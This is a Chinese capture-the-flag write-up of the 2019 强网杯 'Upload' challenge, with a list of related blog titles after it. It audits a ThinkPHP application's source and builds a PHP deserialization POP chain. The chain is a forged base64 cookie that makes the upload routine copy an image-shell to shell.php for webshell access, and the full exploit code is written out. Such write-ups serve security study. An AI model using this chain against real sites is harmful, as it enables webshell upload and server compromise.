提示:重点在这,可节省大部分时间

扫描后台

发现www.tar.gz备份文件。

这平台有429[太多请求限制]防护。dirsearch扫描一堆429。于是用了最笨的方法。

文件上传

先注册个账号

注册后登录,跳转到/upload 目录下

上传图片

但是无法利用,上传php文件

上传失败。尝试普通绕过。均失败、

源码审计

提前学下要涉及到的知识

1.两个魔术方法

__get()

比如一个类里面有私有变量。外界无法直接访问。那么用__get就可以间接访问。

  1. <?php
  2. class Person
  3. {
  4. private $name;
  5. private $age;
  6. function __construct($name="", $age=1)
  7. {
  8. $this->name = $name;
  9. $this->age = $age;
  10. }
  11. public function __get($propertyName)
  12. {
  13. if ($propertyName == "age") {
  14. if ($this->age > 30) {
  15. return $this->age - 10;
  16. } else {
  17. return $this->$propertyName;
  18. }
  19. } else {
  20. return $this->$propertyName;
  21. }
  22. }
  23. }
  24. $Person = new Person("小明", 60);
  25. echo "姓名:" . $Person->name . "<br>"; //调用__get方法
  26. echo "年龄:" . $Person->age . "<br>"; //调用__get方法

__call()

比如你调用了一个类里没有的方法。那么就会自动去调用__call()这个魔术方法。其中第一个参数表示不存在的方法名字。第二个参数接收你传入的参数

  1. <?php
  2. class Caller
  3. {
  4. public function __call( $method , $args )
  5. {
  6. echo "Method $method called:/n" ;
  7. print_r($args );
  8. }
  9. }
  10. $foo = new Caller();
  11. $foo ->test(1, 2);
  12. ?>

本源码中的__get和__call (Profile控制器)

  1. public function __get($name)
  2. {
  3. return $this->except[$name];
  4. }
  5. public function __call($name, $arguments)
  6. {
  7. if($this->{$name}){
  8. $this->{$this->{$name}}($arguments);
  9. }
  10. }

2.运行逻辑

本地搭建记得创建数据库。

创建无前缀表名

  1. CREATE TABLE IF NOT EXISTS `user`(
  2. `ID` INT UNSIGNED AUTO_INCREMENT,
  3. `email` VARCHAR(100) NOT NULL,
  4. `username` VARCHAR(40) NOT NULL,
  5. `password` VARCHAR(40) NOT NULL,
  6. `img` VARCHAR(100) NOT NULL DEFAULT '',
  7. PRIMARY KEY ( `ID` )
  8. )ENGINE=InnoDB DEFAULT CHARSET=utf8;

默认界面逻辑

先看路由

跟进web/index.php控制器文件

温故知新:例如return $view->fetch('add');

定位的模板文件为:模板文件目录/当前控制器名/add.html

然后就到了这个登录页面

注册界面逻辑

f12查看action。

查看路由,发现定向到web/register/register

  1. public function register()
  2. {
  3. if ($this->checker) {
  4. if($this->checker->login_check()){
  5. $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
  6. $this->redirect($curr_url,302);
  7. exit();
  8. }
  9. }
  10. if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
  11. $email = input("post.email", "", "addslashes");
  12. $password = input("post.password", "", "addslashes");
  13. $username = input("post.username", "", "addslashes");
  14. if($this->check_email($email)) {
  15. if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
  16. $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
  17. if (db("user")->insert($user_info)) {
  18. $this->registed = 1;
  19. $this->success('Registed successful!', url('../index'));
  20. } else {
  21. $this->error('Registed failed!', url('../index'));
  22. }
  23. } else {
  24. $this->error('Account already exists!', url('../index'));
  25. }
  26. }else{
  27. $this->error('Email illegal!', url('../index'));
  28. }
  29. } else {
  30. $this->error('Something empty!', url('../index'));
  31. }
  32. }

第一个if 返回0,不进入。如果post有填username、email、password数据。再判断email格式。再判断数据库该字段是否为空。是则程序正常执行,$this->registed = 1。不进入__destruct()

  1. public function __destruct()
  2. {
  3. if(!$this->registed){
  4. $this->checker->index();
  5. }
  6. }

所以没有再执行index()。其实就算执行也是这个登录界面。

登录界面逻辑

看路由。跟进web/Login.php 控制器文件。找到里面的login 方法

  1. public function login(){
  2. if($this->checker){
  3. if($this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
  4. $this->redirect($curr_url,302);
  5. exit();
  6. }
  7. }

先登录检查。成功就重定向到/home 目录 但我们这个时候没有cookie。所以检查失败 ,return 0

看看$this->checker->login_check()

补充:$this->checker = new Index(); //新建一个Index控制器类

  1. public function login_check(){
  2. $profile=cookie('user');
  3. if(!empty($profile)){
  4. $this->profile=unserialize(base64_decode($profile));
  5. $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
  6. if(array_diff($this->profile_db,$this->profile)==null){
  7. return 1;
  8. }else{
  9. return 0;
  10. }
  11. }
  12. }

发现cookie不是在login_check() 里面设置的。这里面只是读取cookie。那么cookie是在哪里设置的呢?

返回web/Login.php 控制器。发现设置代码在第二个if里

  1. public function login(){
  2. if($this->checker){
  3. //省略......
  4. }
  5. if(input("?post.email") && input("?post.password")){
  6. $email=input("post.email","","addslashes");
  7. $password=input("post.password","","addslashes");
  8. $user_info=db("user")->where("email",$email)->find();
  9. if($user_info) {
  10. if (md5($password) === $user_info['password']) {
  11. $cookie_data=base64_encode(serialize($user_info)); //设置cookie
  12. cookie("user",$cookie_data,3600);
  13. $this->success('Login successful!', url('../home'));
  14. } else {
  15. $this->error('Login failed!', url('../index'));
  16. }
  17. }else{
  18. $this->error('email not registed!',url('../index'));
  19. }
  20. }else{
  21. $this->error('email or password is null!',url('../index'));
  22. }
  23. }

跟进cookie方法。在xdebug下逮住了cookie的值

然后就是通过success方法重定向到/home 目录啦

上传文件逻辑

  1. public function home(){
  2. if(!$this->login_check()){
  3. $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
  4. $this->redirect($curr_url,302);
  5. exit();
  6. }
  7. if(!$this->check_upload_img()){
  8. $this->assign("username",$this->profile_db['username']);
  9. return $this->fetch("upload");
  10. }else{
  11. $this->assign("img",$this->profile_db['img']);
  12. $this->assign("username",$this->profile_db['username']);
  13. return $this->fetch("home");
  14. }
  15. }

首先我们有cookie了。可以过login_check()。在login_check里,profile,profile_db被赋值。那看看能不能过check_upload_img方法

  1. public function check_upload_img(){
  2. if(!empty($this->profile) && !empty($this->profile_db)){
  3. if(empty($this->profile_db['img'])){
  4. return 0;
  5. }else{
  6. return 1;
  7. }
  8. }
  9. }

profile和profile_db有值。判空返回0,再取反为1。所以check_upload_img方法返回0

进入第二个if判断。

assign表示将参数2的值,赋值给模板里的参数1(username)

渲染view/index/upload.html 页面

f12看上传的action

看路由,对应web/profile/upload_img

  1. public function upload_img(){
  2. if($this->checker){
  3. if(!$this->checker->login_check()){
  4. $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
  5. $this->redirect($curr_url,302);
  6. exit();
  7. }
  8. }
  9. if(!empty($_FILES)){
  10. $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
  11. $this->filename=md5($_FILES['upload_file']['name']).".png";
  12. $this->ext_check();
  13. }
  14. if($this->ext) {
  15. if(getimagesize($this->filename_tmp)) {
  16. @copy($this->filename_tmp, $this->filename);
  17. @unlink($this->filename_tmp);
  18. $this->img="../upload/$this->upload_menu/$this->filename";
  19. $this->update_img();
  20. }else{
  21. $this->error('Forbidden type!', url('../index'));
  22. }
  23. }else{
  24. $this->error('Unknow file type!', url('../index'));
  25. }
  26. }

第一个if可以进去,但里面的if不能进去。因为我们已经注册过了。

第二个if如果我们上传了文件就可以进去。此时参数如下

进入$this->ext_check()方法查看

  1. public function ext_check(){
  2. $ext_arr=explode(".",$this->filename);
  3. $this->ext=end($ext_arr);
  4. if($this->ext=="png"){ //文件后缀只能是png。我们要绕过这
  5. return 1;
  6. }else{
  7. return 0;
  8. }
  9. }

发现是个过滤。此时我上传的文件后缀是png。所以可以返回 1

第三个if由于$this->ext被赋值了文件后缀。可以进去

此时我上传的文件是正常文件,有大小的。于是将临时文件复制到指定filename(之前经过md5处理)。

并且删除临时文件

之后进入$this->update_img

  1. public function update_img(){ //更新头像
  2. $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
  3. if(empty($user_info['img']) && $this->img){
  4. if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
  5. $this->update_cookie();
  6. $this->success('Upload img successful!', url('../home'));
  7. }else{
  8. $this->error('Upload file failed!', url('../index'));
  9. }
  10. }
  11. }

如果此时数据库里用户头像信息是空,则更新头像。同时更新cookie。重定向到其他页面

成功上传图片后,对新的cookie进行base64解码

可以看到img是图片存放的位置

那么怎么绕过限制,上传php文件呢?

绕过

首先,看到有__destruct魔法方法,一般这是入口。所以我们可以序列化Register类,这样在反序列化时。由于Register类中有__destruct方法。所以当请求处理完成时、销毁该类时。可以进入这个魔法方法之中。

所以,我们第一步需要先序列化这个入口类

入口类序列化编写

入口类部分源码

  1. class Register extends Controller
  2. {
  3. public $checker;
  4. public $registed;
  5. public function __construct()
  6. {
  7. $this->checker=new Index();
  8. }
  9. //省略
  10. public function __destruct()
  11. {
  12. if(!$this->registed){
  13. $this->checker->index();
  14. }
  15. }
  16. }

构造待序列化的入口方法-1

  1. <?php
  2. class Register {
  3. public $checker;
  4. public $registed = 0;//绕过destructed的if
  5. }

现在的逻辑和功能是。可以进入destruct魔术方法。

上面代码对应流程是

  1. (1)$checker= new Index控制器->(2)进入destruct->(3)执行Index控制器中的index方法。

那么如果流程这么走那就没戏了,哈哈哈。我们得让它进入Profile控制器类,执行我们的改文件名字功能。所以我们不能让它进入Index控制器。

修改下

构造待序列化的入口方法-2

  1. <?php
  2. class Register {
  3. public $checker; //在类中不能直接赋值 $checker = new 类,但我们可以实例化赋值,也可以用__construct帮我们赋值
  4. public $registed = 0;//绕过destructed的if
  5. public function __construct(){
  6. $this->checker=new Profile(); //搞定,这下可以进入Profile控制器了
  7. }
  8. }

漏洞利用类序列化编写

进入Profile。而根据入口类源码,会调用Profile类中的index方法,而Profile没有index方法。所以会进入__call方法。

Profile部分源码

  1. class Profile extends Controller
  2. {
  3. public $checker;
  4. public $filename_tmp;
  5. public $filename;
  6. public $upload_menu;
  7. public $ext;
  8. public $img;
  9. public $except;
  10. public function __construct()
  11. {
  12. $this->checker=new Index();
  13. $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
  14. @chdir("../public/upload");
  15. if(!is_dir($this->upload_menu)){
  16. @mkdir($this->upload_menu); //创建目录
  17. }
  18. @chdir($this->upload_menu); //改变当前目录,含义:进入刚刚创建的目录
  19. public function __get($name)
  20. {
  21. return $this->except[$name];
  22. }
  23. public function __call($name, $arguments)
  24. {
  25. if($this->{$name}){
  26. $this->{$this->{$name}}($arguments);
  27. }
  28. }
  29. }

首先看__construct()代码

很明显我们必须修改checker。不然等会检查登录由于我们的cookie有问题,就直接把我们拒之门外了。

之后的流程

  1. 1. 进入__call方法。传入的值。
  2. name : index ,
  3. arguments : ''
  4. 2. 进入第一个ifProfile类没有index属性,进入__get方法
  5. 3. 返回except['index']的值。我们令它为Profile类的任意方法名
  6. 4. 回到__call方法。执行$this->任意方法名(无传参)

Profile类序列化编写(1)

  1. class Profile{
  2. public $checker = 1; //1. 绕过检查是否登录方法
  3. public $filename_tmp;
  4. public $filename;
  5. public $upload_menu;
  6. public $ext;
  7. public $img;
  8. public $except = array('index'=>'upload_img'); //2. 进入upload_img方法
  9. }

upload_img源码

  1. public function upload_img(){
  2. if($this->checker){
  3. if(!$this->checker->login_check()){
  4. $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
  5. $this->redirect($curr_url,302);
  6. exit();
  7. }
  8. }
  9. if(!empty($_FILES)){
  10. $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
  11. $this->filename=md5($_FILES['upload_file']['name']).".png";
  12. $this->ext_check();
  13. }
  14. if($this->ext) {
  15. if(getimagesize($this->filename_tmp)) {
  16. @copy($this->filename_tmp, $this->filename);
  17. @unlink($this->filename_tmp);
  18. $this->img="../upload/$this->upload_menu/$this->filename";
  19. $this->update_img();
  20. }else{
  21. $this->error('Forbidden type!', url('../index'));
  22. }
  23. }else{
  24. $this->error('Unknow file type!', url('../index'));
  25. }
  26. }
  1. 第一个checker检查通过

  2. 第二个检查post文件,我们就不上传了。跳过

  3. 第三个检查ext文件结尾。我们序列化一个true绕过。第二个if上传现在的头像位置。并且filename要更改成php文件。再经过copy方法。至此整个pop链利用完毕

Profile类序列化编写(2)

  1. class Profile{
  2. public $checker = 1; //1. 绕过检查是否登录方法
  3. public $filename_tmp = '1.png';
  4. public $filename = 'shell.php';
  5. public $upload_menu;
  6. public $ext = 1;
  7. public $img;
  8. public $except = array('index'=>'upload_img'); //2. 进入upload_img方法
  9. }

完整pop链构造

  1. <?php
  2. class Register {
  3. public $checker;
  4. public $registed = 0;
  5. public function __construct(){
  6. $this->checker=new Profile();
  7. }
  8. }
  9. class Profile{
  10. public $checker = 1;
  11. public $filename_tmp = './upload/d80b11f5e8fe401a099747c3100a007/4a47a0db6e60853dedfcfdf08a5ca249.png'; //查看图片链接,改地址
  12. public $filename = 'upload/shell.php';
  13. public $upload_menu;
  14. public $ext = 1;
  15. public $img;
  16. public $except = array('index'=>'upload_img'); //2. 进入upload_img方法
  17. }
  18. $a = new Register();
  19. echo base64_encode(serialize($a)); //注意赛题源码反序列化时用

随便一个界面,更改cookie。刷新。因为哪个界面刷新都会进入判断是否登录的方法。而该方法里就有反序列化。

最后成功将头像马改成php文件。

蚁剑连接

[强网杯2019]upload buuoj的更多相关文章

  1. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  2. [强网杯 2019]Upload

    0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...

  3. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  4. 2019强网杯web upload writeup及关键思路

    <?phpnamespace app\web\controller; class Profile{    public $checker;    public $filename_tmp;    ...

  5. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  6. [BUUOJ记录] [强网杯 2019]随便注(三种方法)

    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...

  7. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

  8. 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

    然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...

  9. WriteUp_easy_sql_堆叠注入_强网杯2019

    题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...

随机推荐

  1. 20192204李龙威 2019-2020-2 《Python程序设计》实验一报告

    20192204 2019-2020-2 <Python程序设计>实验一报告 课程:<Python程序设计> 班级: 1922 姓名: 李龙威 学号:20192204 实验教师 ...

  2. 35个高级python知识点

    No.1 一切皆对象 众所周知,Java中强调"一切皆对象",但是Python中的面向对象比Java更加彻底,因为Python中的类(class)也是对象,函数(function) ...

  3. Redis 使用规范

    Redis 使用规范围绕如下几个纬度展开: 键值对使用规范: 命令使用规范: 数据保存规范: 运维规范. 键值对使用规范 有两点需要注意: 好的 key 命名,才能提供可读性强.可维护性高的 key, ...

  4. Java 程序性能问题

    ● 1. 尽量在合适的场合使用单例 使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面: 第一,控制资源的使用,通过线程同步 ...

  5. 设计模式在 Spring 中的应用

    Spring作为业界的经典框架,无论是在架构设计方面,还是在代码编写方面,都堪称行内典范.好了,话不多说,开始今天的内容. spring中常用的设计模式达到九种,我们一一举例: 第一种:简单工厂 又叫 ...

  6. Django模块导入

    Django模块导入篇 Django基础 urls.py 导入app中的视图函数 from app名字 import views app.view视图函数中导入models.py中的类 from ap ...

  7. springcloud学习00-开发工具相关准备

    用maven构建springcloud项目,目录结构(图片来源:https://blog.csdn.net/qq_36688143/article/details/82755492) 1.maven ...

  8. Mybatis配置错误:java.lang.ExceptionInInitializerError

    情况一:配置文件,无法被导出或者生效 修改前: 修改后: 究其原因,这是由于Maven的约定大于配置,导致我们写的配置文件,无法被导出或者生效的问题,解决方案: 在pom.xml文件中配置导出非res ...

  9. dfs:10元素取5个元素的组合数

    #include "iostream.h" #include "string.h" #include "stdlib.h" int sele ...

  10. 数据库中的ACID

    参考链接:什么是ACID 数据库中的锁机制